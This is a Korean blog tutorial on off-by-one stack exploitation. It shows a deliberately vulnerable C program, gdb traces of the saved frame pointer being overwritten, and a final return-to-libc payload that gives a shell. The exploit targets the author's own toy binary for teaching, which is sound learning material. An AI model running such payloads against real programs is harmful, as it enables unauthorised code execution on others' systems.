-
Off-by-oneHack/Pwnable 2016. 8. 11. 18:36
Off-by-one
다음 코드를 보자
1234567891011121314151617#include <stdio.h>int overflow(char *x){char buf[1024];strcpy(buf,x);printf("%s\r\n",buf);}int main(int argc,char *argv[]){if(strlen(argv[1]) > 1024) {printf("BufferOverflow Attempt!!!\n");return 1;}overflow(argv[1]);}cs 다음 코드를 보면, 오버플로우 발생 할 수 없는 환경임을 알 수 있다.버퍼는 1024바이트인데, 1024바이트를 넘긴다면 버퍼오버플로우 탐지 문구가 출력되게된다.그리고 바로 리턴시켜버리기때문에 오버플로우가 불가능하다.하지만 이것을 가능하게 만드는것이 Off-By-One 취약점이다.해당 취약점은 함수를 호출하고, 더미가 없을경우에 발생하는 취약점이다.위 코드를 아래와같이 컴파일해준다.gcc -o offbyone offbyone.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32# stackcanary off, delete dummy, 32bit binary자 그럼 공격을 시도해보자.s0ngsari@ubuntu:~/Desktop$ ./offbyone $(python -c 'print "A"*1023')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
s0ngsari@ubuntu:~/Desktop$
오버플로우가 발생하지 않는다. 다음과같이 넣어보자.
s0ngsari@ubuntu:~/Desktop$ ./offbyone $(python -c 'print "A"*1032')
BufferOverflow Attempt!!!
s0ngsari@ubuntu:~/Desktop$
오버플로우를 시도했지만 되지않았다. 그럼 1024바이트를 넣어보자.
BufferOverflow Attempt!!!
s0ngsari@ubuntu:~/Desktop$ ./offbyone $(python -c 'print "A"*1024')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
s0ngsari@ubuntu:~/Desktop$
Segmentation Fault 가 발생한다. 그럼 무엇인가가 조작되었다는걸 알 수 있는데, gdb를 통해서 확인해볼것이다.
그전에, 일단 함수 호출방식에 대해서 알아야한다.
위 예제 코드를 보게되면 main함수는 overflow함수를 호출하게된다. 호출을하고나서 리턴되기전에 ebp는 main으로 돌아가기위해 main의 주소를 가지고있을거다. 하지만 이 주소가 바뀐다면 RET 명령을 실행하면 eip는 조작된값으로 변경될것이다.
0x0804851e <+59>: call 0x80484ad <overflow>
0x08048523 <+64>: leave
0x08048524 <+65>: ret
call overflow를 해주는데, 여기에 브레이크포인트를 걸고 overflow안으로 들어가면서 레지스터의 변화를 확인해볼것이다.
(gdb) b *main+59
Breakpoint 1 at 0x804851e
(gdb) r $(python -c 'print "A"*1024')
The program being debugged has been started already.
Start it from the beginning? (y or n) Y
Starting program: /home/s0ngsari/Desktop/offbyone $(python -c 'print "A"*1024')
Breakpoint 1, 0x0804851e in main ()
(gdb)
브레이크포인트를 걸어주고 실행을 해주었다. next into를 해주게되면 leave 명령이 실행되니 step into명령으로 함수안으로 들어가주면된다. 그리고 overflow의 leave전까지 next into를 해주면된다.
0x080484dc <+47>: call 0x8048350 <printf@plt>
=> 0x080484e1 <+52>: leave
0x080484e2 <+53>: ret
정상적으로 leave 까지 왔다. 현재 레지스터 상황을 보자.
(gdb) i r
eax 0x402 1026
ecx 0x0 0
edx 0x5573a898 1433643160
ebx 0x55739000 1433636864
esp 0xffffce94 0xffffce94
ebp 0xffffd29c 0xffffd29c
esi 0x0 0
edi 0x0 0
eip 0x80484e1 0x80484e1 <overflow+52>
레지스터 상황을 보게되면, 별 다른거는 없어보이고 정상적으로 보인다. 하지만 ebp 주소에 어떠한 값이 들어있는지 볼것이다.
(gdb) x/x 0xffffd29c
0xffffd29c: 0xffffd200
ebp 0xffffd29c가 가지고있는값은 0xffffd200이란 주소이다. 별로 문제는 없어보이지만 여기서 문제가 발생한다. 0xffffd200 주소를 확인하면 우리가 넣어준 A값이 존재할것이다. 이유는, 현재 esp는 0xffffce94라는 값을 가지고있는데, 우리가 넣어준 바이트는 1024바이트이다. 그럼 계산을 해보자
hex(0xffffce94+1024) = 0xffffd294
0xffffd200은 AAAA라는 값을 가질수 밖에 없다. 직접 확인해보자
(gdb) x/x 0xffffd200
0xffffd200: 0x41414141
0x41414141, 즉 AAAA라는 문자열을 가지고있다. 그럼 leave명령에 대해서 알아보자.
mov esp, ebp
pop ebp
인스터럭션이 leave로 통합되어있다.
그럼, ebp는 esp로 옮겨질것이다. 그리고 ebp는 pop될것이다. 그럼 값이 들어가지만 그 값은 AAAA를 가지고있는 값을 가지고있다.
아직까지는 별 문제가 없다.
leave 명령을 실행한 다음 레지스터의 상태이다.
esp 0xffffd2a0 0xffffd2a0
ebp 0xffffd200 0xffffd200
ebp는 0xffffd200값을 가지고있다. 해당 주소는 AAAA라는 값을 가지고있다.
(gdb) x/x 0xffffd200
0xffffd200: 0x41414141
그리고 ret을 실행할것이다. main으로 정상적인 복귀를하지만 문제는, main에서도 leave명령이 기다리고있다.
esp 0xffffd204 0xffffd204
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x8048524 0x8048524 <main+65>
pop ebp를 또 진행하기때문에 0xffffd200이 가지고있던 값이 pop되어졌다.
그럼 ebp는 0x41414141이되고, 리턴을할때 이 주소를 베이스포인터 삼아 리턴을 해줄것이다.
아래는 ret을 할떄의 상황이다.
esp 0xffffd208 0xffffd208
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eip가 0x41414141이 되었다. 이 공격을 어디에 써먹냐 할 수있는데, 정확히 0xffffd200주소에 값을 넣어서 eip를 바꾸고 쉘을 획득할 수 있을것이다.
(gdb) r $(python -c 'print "A"*872 + "\x70\x1e\x5d\x55" + "AAAA"+ "\x8c\xfa\x6e\x55" + "C"*140')
Starting program: /home/s0ngsari/Desktop/offbyone $(python -c 'print "A"*872 + "\x70\x1e\x5d\x55" + "AAAA"+ "\x8c\xfa\x6e\x55" + "C"*140')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp]UAAAA??nUCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
$ ls
core offbyone offbyone.c
RTL로 깔끔하게 gdb에서 쉘을 획득한것을 볼 수 있다.
'Hack > Pwnable' 카테고리의 다른 글
Layer CTF easy_bof (2) 2016.09.05 포맷스트링(Format String Bug) GOT Overwrite (0) 2016.08.17 const overwrite, 버그헌팅하면서 배운점 (3) 2016.07.19 ARM Shellcode 간단한거.. (0) 2016.06.29 Pwnable.kr dos4fun (0) 2016.05.09